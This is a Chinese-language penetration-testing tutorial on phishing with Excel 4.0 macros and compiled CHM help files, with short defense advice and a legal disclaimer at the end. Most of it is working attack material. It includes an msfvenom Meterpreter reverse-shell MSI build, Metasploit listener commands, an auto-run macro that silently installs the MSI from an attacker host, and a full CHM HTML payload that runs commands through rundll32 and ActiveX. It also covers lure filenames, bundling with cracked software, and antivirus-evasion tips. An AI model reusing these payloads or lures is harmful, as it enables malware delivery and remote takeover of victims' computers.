渗透测试之地基钓鱼篇:Excel宏和CHM电子书免杀钓鱼
字数 1325 2025-08-15 21:33:04
Excel宏与CHM电子书钓鱼攻击技术详解
一、技术概述
本教学文档详细介绍了两种常见的钓鱼攻击技术:基于Excel宏的钓鱼攻击和基于CHM电子书的钓鱼攻击。这两种技术都利用了Windows系统中常见文件格式的特性,通过嵌入恶意代码实现远程控制目标系统。
二、Excel宏钓鱼攻击
1. 技术原理
Excel宏是一种自动化脚本功能,攻击者可以利用它执行恶意代码。当用户打开包含恶意宏的Excel文件并启用宏时,攻击者预先植入的恶意代码就会被执行。
2. 攻击步骤
2.1 生成恶意载荷
使用Metasploit框架生成MSI格式的恶意文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=<攻击者IP> lport=<端口> -f msi -o payload.msi
2.2 设置监听
在攻击机器上设置Metasploit监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <攻击者IP>
set lport <端口>
exploit -j
2.3 创建恶意Excel文件
- 使用Excel 2016创建.xlsx文件
- 右键点击工作表标签,选择"插入"→"MS Excel 4.0宏表"
- 在宏表中输入以下内容:
A1: =EXEC("msiexec /q /i http://<攻击者IP>/payload.msi") A2: =HALT() - 将A1单元格重命名为"Auto Open"
- 保存为.xlsm格式(启用宏的工作簿)
2.4 社会工程学技巧
- 将文件名改为诱人的名称(如"工资表.xlsm")
- 利用用户对Excel文件的信任
- 提示用户需要"启用内容"才能查看完整功能
3. 免杀技术
- 使用Excel 4.0宏(比VBA宏更隐蔽)
- 远程加载恶意载荷(分离式攻击)
- 宏表隐藏技术
三、CHM电子书钓鱼攻击
1. 技术原理
CHM(Compiled HTML Help)文件支持执行JavaScript、VBScript等脚本,攻击者可以利用这一特性嵌入恶意代码。
2. 攻击步骤
2.1 设置攻击环境
使用MyJSRat工具生成恶意代码:
git clone https://github.com/Ridter/MyJSRat
python MyJSRat.py -i <攻击者IP> -p <端口>
2.2 创建恶意HTML文件
创建包含以下代码的HTML文件:
<!DOCTYPE html>
<html>
<head>
<title>说明</title>
</head>
<body>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c start http://<攻击者IP>:8888/wtf");'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>
2.3 编译CHM文件
使用EasyCHM工具:
- 新建项目,选择包含恶意HTML的文件夹
- 设置编译选项
- 生成CHM文件
2.4 社会工程学技巧
- 将CHM文件命名为"说明.chm"等看似无害的名称
- 将CHM文件与破解软件或其他诱人内容打包在一起
- 利用用户对帮助文档的信任
3. 免杀技术
- 使用HTML对象注入技术
- 远程加载恶意代码
- 利用CHM文件格式的合法性
四、防御措施
1. 针对Excel宏攻击
- 禁用Office宏功能(默认设置)
- 教育用户不要启用不明来源文件的宏
- 使用高级威胁防护解决方案
- 限制msiexec.exe的执行权限
2. 针对CHM攻击
- 限制CHM文件的执行权限
- 使用应用程序白名单
- 保持系统和安全软件更新
- 教育用户不要打开不明来源的CHM文件
五、技术总结
-
Excel宏钓鱼:
- 利用Excel 4.0宏的自动执行特性
- 通过远程加载恶意载荷绕过检测
- 需要用户启用宏内容
-
CHM电子书钓鱼:
- 利用CHM文件支持脚本执行的特性
- 通过HTML对象注入技术执行恶意代码
- 具有较高的隐蔽性
-
共同特点:
- 都依赖社会工程学诱骗用户
- 都采用分离式攻击(远程加载载荷)
- 都针对Windows系统用户
- 都可以通过混淆技术增强免杀能力
六、法律与道德声明
本文所述技术仅用于教育目的和安全研究。未经授权对他人系统进行渗透测试是违法行为。网络安全从业人员应遵守法律法规,将此类技术仅用于合法的安全评估和防御研究。